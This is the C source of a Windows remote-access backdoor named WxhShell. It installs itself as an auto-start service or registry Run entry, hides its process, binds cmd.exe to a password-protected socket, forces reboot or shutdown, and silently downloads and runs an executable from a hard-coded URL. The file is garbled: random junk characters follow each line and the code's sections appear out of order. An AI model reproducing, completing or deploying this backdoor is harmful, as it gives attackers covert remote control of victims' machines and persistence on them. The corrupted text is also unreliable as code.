    if(Boot(SHUTDOWN)) Q^nG0<q+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@g~  
    else { " l.!Ed  
    closesocket(wsh); f7.m=lbe  
    ExitThread(0); P7'M],!9w  
    } >)4.$#H  
    break; )4PB<[u  
    } 8*vFdoE_oO  
  // 获取shell :|=- (z  
  case 's': { }N@n{bu+  
    CmdShell(wsh); )mj<{Td`  
    closesocket(wsh); $%B5$+  
    ExitThread(0); _n7%df  
    break; <H!O:Mf_p  
  } {QMN=O&n  
  // 退出 JXL'\De ;  
  case 'x': { m!;G/s*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;>5,  
    CloseIt(wsh); ,|A{!j`  
    break;  $<:'!#%  
    } vpi l$Uq  
  // 离开 & wOE\TCL  
  case 'q': { 8'+7i8e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (,shiK[5f  
    closesocket(wsh); TKd6MZhT  
    WSACleanup(); Gj)uy jct  
    exit(1); * ]>])ms)  
    break; ,^HS`!s[ E  
        } (N7O+3+G  
  } ve6x/ PD  
  } SijS5irfk  
Q]^Yi1PbS  
  // 提示信息 <;aJ#qT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !KAsvF,j  
} 9]Lo  
  } `wf|uM  
Ep<YCSQy$i  
  return; $Vsy%gA<  
} 9?$RO[vo  
x`#22"m  
// shell模块句柄 BK*z 4m  
int CmdShell(SOCKET sock) moaodmt]x  
{ Wy8,<K{  
STARTUPINFO si; 1c / X  
ZeroMemory(&si,sizeof(si)); p+vh[+yp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C>NQ-w^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oikxg!0S  
PROCESS_INFORMATION ProcessInfo; Et.j1M|g  
char cmdline[]="cmd"; ~oo'ky*H!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  J+lGh9G  
  return 0; sSz%V[X WL  
} 86y%=!bS  
0lBat_<8  
// 自身启动模式 ldYeX+J _  
int StartFromService(void) a&N%|b K  
{ ? -CV %l  
typedef struct  9|<Be6  
{ y)tYSTJK  
  DWORD ExitStatus; I.-v?1>,  
  DWORD PebBaseAddress; UTvs |[  
  DWORD AffinityMask; !D7"=G}HD  
  DWORD BasePriority; BD4`eiu"  
  ULONG UniqueProcessId; #%4=)M>^  
  ULONG InheritedFromUniqueProcessId; Hk~k@Wft  
}   PROCESS_BASIC_INFORMATION; aTG[=)x L  
VcrVaBw  
PROCNTQSIP NtQueryInformationProcess; ?|lIXz  
6Etss!_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lJUy;yp_+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \1]rlzXGUT  
W-ez[raY  
  HANDLE             hProcess; _Ds@lVY  
  PROCESS_BASIC_INFORMATION pbi; >IBTBh_ka  
"9%q bM B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z,avQR&  
  if(NULL == hInst ) return 0; /,LfA2^_j{  
o(zTNk5d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =!<^^6LZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .$P|^Zx,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b[yE~EQxr  
`\ R{5TU  
  if (!NtQueryInformationProcess) return 0; KxX[ S.C  
!VFem~'d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^EuW( "  
  if(!hProcess) return 0; d+Ds9(gV  
R3Ee%0QK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fe5jdV<  
\q,s?`+B  
  CloseHandle(hProcess); @0D![oA  
TW2Z=ks=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x2@,9OUx  
if(hProcess==NULL) return 0; $ o " L;j  
SHwRX? B|  
HMODULE hMod; yjFe'  
char procName[255]; DFc [z"[  
unsigned long cbNeeded; SOs,)  
ogJ<e_ m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t$5jx  
ZtR&wk  
  CloseHandle(hProcess); 26 ?23J ;  
Dp`HeSKU^  
if(strstr(procName,"services")) return 1; // 以服务启动  $WR?  
.&PzkqWZ  
  return 0; // 注册表启动 VAs ( .y  
} Y1WHy *s?  
=U c$D*  
// 主模块 <wa(xDBw  
int StartWxhshell(LPSTR lpCmdLine) `36N n+A  
{ k2.G%]j  
  SOCKET wsl; V_f`0\[x  
BOOL val=TRUE; =hGJAU  
  int port=0; '#<> "|  
  struct sockaddr_in door; RG&6FRoq  
1 }nm2h1 I  
  if(wscfg.ws_autoins) Install(); 8 URj1 W  
Fg4@On[,i  
port=atoi(lpCmdLine); .it2NS  
'in@9XO  
if(port<=0) port=wscfg.ws_port; Z%e|*GS{  
5 q65nF  
  WSADATA data; >C# kqxfg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cQn)^jx=  
[@|be.g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A="fj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L+t[&1cW  
  door.sin_family = AF_INET; S>#R_H<(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s1=+::  
  door.sin_port = htons(port); . ,R4WA,  
m8HYW zN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A9;0y jae  
closesocket(wsl); -dG,*0 >  
return 1; Wcn[gn<  
} [ f34a  
^K;hn,R=  
  if(listen(wsl,2) == INVALID_SOCKET) { Pin/qp&Fa8  
closesocket(wsl); ?+\E3}:  
return 1; ($S Lb6  
} 7E~4)k0<  
  Wxhshell(wsl); ?:/|d\,7@  
  WSACleanup(); S=PJhAF  
;UpJ=?W  
return 0; !W~<q{VTs  
Hk9U&j$  
} SK-W%t  
 D%gGRA  
// 以NT服务方式启动 Q6x%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H`el#tt_  
{ t !~ S9c  
DWORD   status = 0; + Kk@Q  
  DWORD   specificError = 0xfffffff; lkwh'@s.  
{g_@Tuu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .`J:xL%Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U0IE1_R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N,|r1u9X#  
  serviceStatus.dwWin32ExitCode     = 0; 7xT[<?,  
  serviceStatus.dwServiceSpecificExitCode = 0; Ow)R|/e /  
  serviceStatus.dwCheckPoint       = 0; R&Ci/  
  serviceStatus.dwWaitHint       = 0; .[(P  
TVeJ6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +N R n0 z(  
  if (hServiceStatusHandle==0) return; *<q4S(l  
~!] m6/  
status = GetLastError(); Y`^o7'Z2^P  
  if (status!=NO_ERROR) .CS v|:'1  
{ g`3H(PVg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }N]!0Ka  
    serviceStatus.dwCheckPoint       = 0; g_M ^E-3  
    serviceStatus.dwWaitHint       = 0; ~6HDW  
    serviceStatus.dwWin32ExitCode     = status; e8q4O|I_  
    serviceStatus.dwServiceSpecificExitCode = specificError; >3P9 i ;W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Noz&noq  
    return; RUX8qT(Z  
  } t3>$|}O]t  
=:/>6 H1x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L$hc,  
  serviceStatus.dwCheckPoint       = 0; R@n5AN(  
  serviceStatus.dwWaitHint       = 0; mPG7Zy$z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |_nC6 ;  
} n_P(k-^U*  
a.,i.2  
// 处理NT服务事件,比如:启动、停止 G=cNzr9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OoM_q/oI  
{ c[:Wf<% |  
switch(fdwControl) t:T?7-XIE  
{ !g2a|g   
case SERVICE_CONTROL_STOP: = UUd8,C/  
  serviceStatus.dwWin32ExitCode = 0; 4By]vd<;=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @woC8X  
  serviceStatus.dwCheckPoint   = 0; h>W@U9  
  serviceStatus.dwWaitHint     = 0; >BJ}U_ck  
  { Nf5WQTa4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GoD ?KC  
  } 4E'|.tt(  
  return; "K ?#,_  
case SERVICE_CONTROL_PAUSE: n$W"=Z;`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X:{WZs"[x  
  break; ]1}h8/  
case SERVICE_CONTROL_CONTINUE: ?4sJw:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1ktHN: ta  
  break; Z"D W 2k  
case SERVICE_CONTROL_INTERROGATE: N7pt:G2~%  
  break; q^]tyU!w  
}; Q!]IG;3Sx|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  (YrR8  
} ^IgS  
:H\&2/j  
// 标准应用程序主函数 :~33U)?{T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  f`J|>Vk  
{ = t-fYV  
PCZ]R  
// 获取操作系统版本 +6376$dC  
OsIsNt=GetOsVer(); @/(@/*+"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LzE/g)>  
9[sG1eP!  
  // 从命令行安装 5p )IV>G  
  if(strpbrk(lpCmdLine,"iI")) Install(); +V1}@6k :  
MWhwMj!:m  
  // 下载执行文件 1|/'"9v  
if(wscfg.ws_downexe) { Rf:<-C0T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J#(,0h  
  WinExec(wscfg.ws_filenam,SW_HIDE); _.=`>%,  
} [TEcg^  
Z(UD9wY5m  
if(!OsIsNt) { 0I^Eo|  
// 如果时win9x,隐藏进程并且设置为注册表启动 cAibB&`~  
HideProc(); ^jOCenE 3  
StartWxhshell(lpCmdLine); G4m4k  
} &-4 ?!  
else ~},~c:fF?  
  if(StartFromService()) 9FNwpL'C  
  // 以服务方式启动 @>:i-5  
  StartServiceCtrlDispatcher(DispatchTable); df ?eL2v  
else OHhs y|W  
  // 普通方式启动 I+~bCcgPi  
  StartWxhshell(lpCmdLine); 9 `INC~h  
z5pc3:  
return 0; OAVQ`ek  
} E*^ 9|Y[  
SUc6/'Rdr  
`Hd9\;NJ  
]ViOr8u  
=========================================== iD`k"\>9  
HL8(lPgS  
5H*>  
h ~fWE  
uP Rl[tS0  
/n8 psj  
" pg!`SxFD  
1I \tu  
#include <stdio.h> yLB~P7K  
#include <string.h> `oVB!eapl  
#include <windows.h> 48k 7/w\  
#include <winsock2.h> Uz $ @(C  
#include <winsvc.h> RJ*F>2  
#include <urlmon.h> f@x_#ov  
\n;g2/VjO  
#pragma comment (lib, "Ws2_32.lib")  mmcdtVe  
#pragma comment (lib, "urlmon.lib") )Oe`s(O@[I  
N33AcV!*8  
#define MAX_USER   100 // 最大客户端连接数 6?!I  
#define BUF_SOCK   200 // sock buffer X(b1/lzA  
#define KEY_BUFF   255 // 输入 buffer ig$jKou F  
x5PPu/  
#define REBOOT     0   // 重启 /6jGt'^U  
#define SHUTDOWN   1   // 关机 wibwyzo  
<N-=fad]  
#define DEF_PORT   5000 // 监听端口 gWi{\x8dt  
Q]T BQ&  
#define REG_LEN     16   // 注册表键长度 @`Wt4<  
#define SVC_LEN     80   // NT服务名长度 6W:1>,xS  
#!L%J<MX  
// 从dll定义API fa yKM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [G=:?J,P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5y}BCY2=/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KqK9X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jiq2x\\!  
7$#rNYa,z  
// wxhshell配置信息 ke^d8Z.  
struct WSCFG { *:[b'D!A  
  int ws_port;         // 监听端口 (:l(_-O  
  char ws_passstr[REG_LEN]; // 口令 5pmQp}}R  
  int ws_autoins;       // 安装标记, 1=yes 0=no (,U7 R^  
  char ws_regname[REG_LEN]; // 注册表键名 !pl_Ao~(  
  char ws_svcname[REG_LEN]; // 服务名 Rhv%6ekI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C rfRLsN]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zu C5@jy.x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2md.S$V$,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #EFMgQO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?^F5(B[+Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AygvJeM_W  
Tw UsVM(~  
}; u6pIdt  
^X^,>Z|  
// default Wxhshell configuration ZBC@xM&-  
struct WSCFG wscfg={DEF_PORT, )gjGG8 Ee  
    "xuhuanlingzhe", 8 #Fh>  
    1, ",QPb3  
    "Wxhshell", {Y^c*Iqn  
    "Wxhshell", ivD^HhG  
            "WxhShell Service", $Ba`VGP>)3  
    "Wrsky Windows CmdShell Service", Qi"'bWX@  
    "Please Input Your Password: ", j=\Mx6os  
  1, ,$ mLL  
  "http://www.wrsky.com/wxhshell.exe", I^@.Aw t  
  "Wxhshell.exe" mQL8QW[c  
    }; s6IP;}  
?jFc@t*\:  
// 消息定义模块 5Fh8*8u6hL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &<@%{h@=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rXuAixu!t  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (qbc;gBy  
char *msg_ws_ext="\n\rExit."; @~hz_Nm@8  
char *msg_ws_end="\n\rQuit."; Q8 4t9b  
char *msg_ws_boot="\n\rReboot..."; ;!:F#gahv  
char *msg_ws_poff="\n\rShutdown..."; )6g&v'dq  
char *msg_ws_down="\n\rSave to "; "d2LyQy  
l)H9J]  
char *msg_ws_err="\n\rErr!"; g/6nw a  
char *msg_ws_ok="\n\rOK!"; =<TO"  
Nv{eE<<6  
char ExeFile[MAX_PATH]; Xa)7`bp<  
int nUser = 0; {)@ j77P  
HANDLE handles[MAX_USER]; T*8_FR<  
int OsIsNt;  J(^ >?d'  
\"t`W:  
SERVICE_STATUS       serviceStatus; D*qzNT@`LR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v23TL  
7pd$?=__I  
// 函数声明 _En]@xK3&  
int Install(void); +*<K"H|,  
int Uninstall(void); 1aVgwAI  
int DownloadFile(char *sURL, SOCKET wsh); ThbP;CzI#  
int Boot(int flag); (%.</|u  
void HideProc(void); EtJD'&  
int GetOsVer(void); GgT=t)}wu  
int Wxhshell(SOCKET wsl); ')rD?Z9 ^  
void TalkWithClient(void *cs); 9wzg{4/-$  
int CmdShell(SOCKET sock); +H[Q~P8'[  
int StartFromService(void); H8( C>w-'  
int StartWxhshell(LPSTR lpCmdLine); 1ZKz3)K  
S7Qen6lm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6OMb`A@/2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]yw_n^@  
`9:v*KuM#R  
// 数据结构和表定义 /O+e#z2f<  
SERVICE_TABLE_ENTRY DispatchTable[] = [q w  
{ b5[f 5  
{wscfg.ws_svcname, NTServiceMain}, `I@)<d  
{NULL, NULL} Dxz5NW4  
}; zo/0b/lQ  
t&8<k+m  
// 自我安装 #wGQv  
int Install(void) xcsFODx~  
{ OCvml 2 vP  
  char svExeFile[MAX_PATH]; H7y&N5.V  
  HKEY key; /E; ;j9  
  strcpy(svExeFile,ExeFile); DS.39NY  
LR hP7D+A  
// 如果是win9x系统,修改注册表设为自启动 [f /v LLK  
if(!OsIsNt) { w/hh 4ir  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6vMDm0sv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z3Bo@`&?  
  RegCloseKey(key); (/To?`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wVlSjk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fMgcK$  
  RegCloseKey(key); =%:JjgKc*t  
  return 0; t%0r"bTi  
    } k\Yu5)  
  } ](]*]a4ss  
} ;L#L Dk{Za  
else { zojuH8  
|2WxcW]U.%  
// 如果是NT以上系统,安装为系统服务 Q9Q!9B @  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z3LQl(  
if (schSCManager!=0) pg5@lC]J  
{ bCH*8,Bmh  
  SC_HANDLE schService = CreateService F+lm[4n  
  ( ViCg|1c  
  schSCManager, {yGZc3e1j  
  wscfg.ws_svcname, Kc%tnVyGh:  
  wscfg.ws_svcdisp, {vf+sf ^^q  
  SERVICE_ALL_ACCESS, G~Sy&XJuq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  aOaF&6'j  
  SERVICE_AUTO_START, Lw!?T(SK  
  SERVICE_ERROR_NORMAL, K<Yn_G  
  svExeFile, mrhsKmH  
  NULL, 2<p5_4"-U*  
  NULL, FSI]k:  
  NULL, d#X&Fi   
  NULL, <\qY " .`  
  NULL !"Z."fm*  
  ); MoC*tImWR  
  if (schService!=0) > u'/$ k  
  { > #Grf)@"6  
  CloseServiceHandle(schService); azz#@f1  
  CloseServiceHandle(schSCManager); 5<'n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4SX3c:>  
  strcat(svExeFile,wscfg.ws_svcname); DQL06`pX/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KIXwx98  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o06A=4I  
  RegCloseKey(key); 'vqj5YTj  
  return 0; Qi(e`(,'  
    } /1[}G!  
  } kKFuTem_3  
  CloseServiceHandle(schSCManager); )Tyky%P+iI  
} bCJ<=X,g`K  
} ~(w=U *  
V{7lltu  
return 1; _OyP>| L'  
} +9=@E  
nR=2eBNf  
// 自我卸载 B}l}Aq8  
int Uninstall(void) S,d ngb{  
{ jQH5$  
  HKEY key; =B3!jir  
FFD*e-i  
if(!OsIsNt) { GU;TK'Yy?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uFA|r X  
  RegDeleteValue(key,wscfg.ws_regname); *il]$i  
  RegCloseKey(key); 0ECO/EuCg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n $D}0wSM/  
  RegDeleteValue(key,wscfg.ws_regname); A>&>6O4  
  RegCloseKey(key); Bd N{[2  
  return 0; sWojQ-8}  
  } Wo1V$[`Dy  
} F3H:I"4  
} P?W T)C2)u  
else { $=@9 D,R  
7(nz<z p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <:kTTye|  
if (schSCManager!=0) ]$XBd{\D{  
{ T_YMM'`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a[d{>Fb.  
  if (schService!=0) i;uG:,ro  
  { '.}6]l  
  if(DeleteService(schService)!=0) { @xW"rX#7f  
  CloseServiceHandle(schService); &cn%4Er  
  CloseServiceHandle(schSCManager); K~fDv  i  
  return 0; eEg1-  
  } \( Gf+  
  CloseServiceHandle(schService); ],fwZd[t  
  } ~#N.!e4  
  CloseServiceHandle(schSCManager); >%jEo'0;_  
} 3; -@<9  
} / %U~lr  
TQb FI;\  
return 1; `o^;fcnG  
} 2yCd:wg  
T9XW%/n  
// 从指定url下载文件 J1u@A$4l?  
int DownloadFile(char *sURL, SOCKET wsh) y(wqcDok|n  
{ lO5gkOJ?  
  HRESULT hr; Y9I #Q  
char seps[]= "/"; 1o5Y9#7  
char *token; 9$4/frd  
char *file; 21)-:rS  
char myURL[MAX_PATH]; ^8f|clw"  
char myFILE[MAX_PATH]; -G^t-I  
L(!!7B_,  
strcpy(myURL,sURL); NdXy% Q  
  token=strtok(myURL,seps); kp<}  
  while(token!=NULL) yEw"8u'  
  { X'3`Q S:!  
    file=token; J*6n6  
  token=strtok(NULL,seps); V.P5v {  
  } R>YMGUH~w  
f@xfb ie !  
GetCurrentDirectory(MAX_PATH,myFILE); k1LtqV  
strcat(myFILE, "\\"); 4 L~;>]7  
strcat(myFILE, file); M#8Ao4 T  
  send(wsh,myFILE,strlen(myFILE),0); X~Rk ,d3  
send(wsh,"...",3,0); 71n uTE%!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i"\AyKiJ  
  if(hr==S_OK) P/1UCITq}  
return 0; |<+|Du1  
else L]L~TA<D9i  
return 1; @e?[oojrM  
Oa_o"p<Lr  
} -<}>YtB Q  
G+QNg .pH  
// 系统电源模块 CrwcYzrRWl  
int Boot(int flag) MTFVnoZMQ_  
{ ~XT a=  
  HANDLE hToken; p *W ZY=Q  
  TOKEN_PRIVILEGES tkp; @qr3v>3X<  
E't G5,/m  
  if(OsIsNt) {  _.J[w6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,j(p}t  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p?`|CE@h7  
    tkp.PrivilegeCount = 1; +<9q]V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $=QGua V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lj SR?:\  
if(flag==REBOOT) { uI:3$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |@Idf`N$  
  return 0; #3:'lGBIK  
} dc@wf;o  
else { s2' :&5(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4f@\f7 \  
  return 0; L8-[:1  
} :+dWJNY:  
  }  KHs{/  
  else { 52C-D+zCJ  
if(flag==REBOOT) {  ~bWWu`h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z$m2rZ#  
  return 0; \q d)l  
} pil*/&pB  
else { h C`p<jp/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B| 0s4E  
  return 0; j C1^>D  
} 4kY{X%9  
} aXid;v,  
&+w!'LSaD  
return 1; 1r:fxZO\Vd  
} 4uAb LSh9  
m$y$wo<K[7  
// win9x进程隐藏模块 !L.z4n,n+  
void HideProc(void) H1ui#5n2  
{ ht cO ~b  
F]&J%i F[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &#b>AAx$2Y  
  if ( hKernel != NULL ) <~8f0+"  
  { #uw*8&%0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4.kkxQR7r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "ZPbK$+=yU  
    FreeLibrary(hKernel); Y(!)G!CMc  
  } UmI@":|-  
96V, [-arf  
return; 3SB7)8Id1  
} /z-C :k\  
d?qO`- ~$  
// 获取操作系统版本 $Qc%9p @i  
int GetOsVer(void) :tDGNz*zG  
{ XxU}|jTO#  
  OSVERSIONINFO winfo;   SrU   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *CD=cmdD*  
  GetVersionEx(&winfo); h|>n3-k|p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jnLu|W&  
  return 1; H&Lbdu~E  
  else W:( Us y  
  return 0; Mn{Rg>X  
} j9fL0$+FI  
zs^\z Cb8  
// 客户端句柄模块 8lb `   
int Wxhshell(SOCKET wsl) ::b;4Q L  
{ E2/U']R  
  SOCKET wsh; s#Y7*?Sm  
  struct sockaddr_in client; eDZ3SIZ  
  DWORD myID; X1~A "sW[  
x=r6vOj  
  while(nUser<MAX_USER) uRcuy/CY  
{ 7Qztc?XK  
  int nSize=sizeof(client); L=Jk"qWV0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E0x$;CG!  
  if(wsh==INVALID_SOCKET) return 1; ]CJ>iS!V  
aj-uk(r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v+2q R0,LM  
if(handles[nUser]==0) Oes+na'^  
  closesocket(wsh); "@|V.d@  
else k <Sa<  
  nUser++; :[?o7%"  
  } 'GO..m"G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,O`*AzjS5Q  
QO^X7A"?X  
  return 0; tKViM@T  
} ;+Kewi;<  
BTQC1;;N  
// 关闭 socket zi 14]FWo  
void CloseIt(SOCKET wsh) 8@#Y <{  
{ 8[p6C Jl)  
closesocket(wsh); !8M'ms>s=  
nUser--; 'WgwLE_  
ExitThread(0);  o|im  
} o) ?1`7^BA  
@8d})X33  
// 客户端请求句柄 <iqyDPj  
void TalkWithClient(void *cs) 13@| {H CB  
{ ! yUKNR  
Z- Ae'ym  
  SOCKET wsh=(SOCKET)cs; m1Z8SM+  
  char pwd[SVC_LEN]; ]h8V{%H  
  char cmd[KEY_BUFF]; W/QOG&g  
char chr[1]; QI{Y@xQ  
int i,j; ! \Kh\  
71ybZ 0  
  while (nUser < MAX_USER) { !@ '2  
[uV/ Ra*g  
if(wscfg.ws_passstr) { No|{rYYKK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %NoZf^ ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cO+`8`kv  
  //ZeroMemory(pwd,KEY_BUFF); 74OM tLL$  
      i=0; |hyr(7  
  while(i<SVC_LEN) { vw 2@}#\:  
@Ec9Do>  
  // 设置超时 P &._ -[  
  fd_set FdRead; wd0ACF  
  struct timeval TimeOut; WSwmX3rn  
  FD_ZERO(&FdRead); Vjd =F.V+  
  FD_SET(wsh,&FdRead); c?Qg :yU  
  TimeOut.tv_sec=8; KO"iauW  
  TimeOut.tv_usec=0; ) O^08]Y g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o~>go_Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \F3t&:  
k3kqgR*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aE$p;I  
  pwd=chr[0]; $ wB  
  if(chr[0]==0xd || chr[0]==0xa) { 5X-(@GwN  
  pwd=0; >,2],X"G  
  break; S"z4jpqn3  
  } @/iLC6QF  
  i++; Y{@[)M{<  
    } a{,t@G  
R6Lr]H  
  // 如果是非法用户,关闭 socket 1 j8,Zrg1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d(XWt;KK  
} 5+Ut]AL5  
V [>5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vX%gcs/@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pn|{P<b\  
LlqhZetS  
while(1) { eu;^h3u;b  
t|lv6-Hy9  
  ZeroMemory(cmd,KEY_BUFF); Bnv%W4  
H[Cn@XE  
      // 自动支持客户端 telnet标准   zYsGI<4  
  j=0; v0sX'>f  
  while(j<KEY_BUFF) { j!rz@Y3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q?\D9aT9  
  cmd[j]=chr[0]; +`FY  
  if(chr[0]==0xa || chr[0]==0xd) { bE"CSK#  
  cmd[j]=0; )M~5F,)  
  break; {HeMdGn9  
  } CqV \:50g  
  j++; _De;SB %V  
    } x1h!_^(QfF  
LTHS&3% 2  
  // 下载文件 N 1rrKyL!$  
  if(strstr(cmd,"http://")) { V96BtV sB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mx2 Jt1  
  if(DownloadFile(cmd,wsh)) RP$A"<goP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aHw VoT  
  else 3@PVUJ0B|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @z.!Dby  
  } QB3AL; 7  
  else { t<tBOesQ  
% |V:F.f  
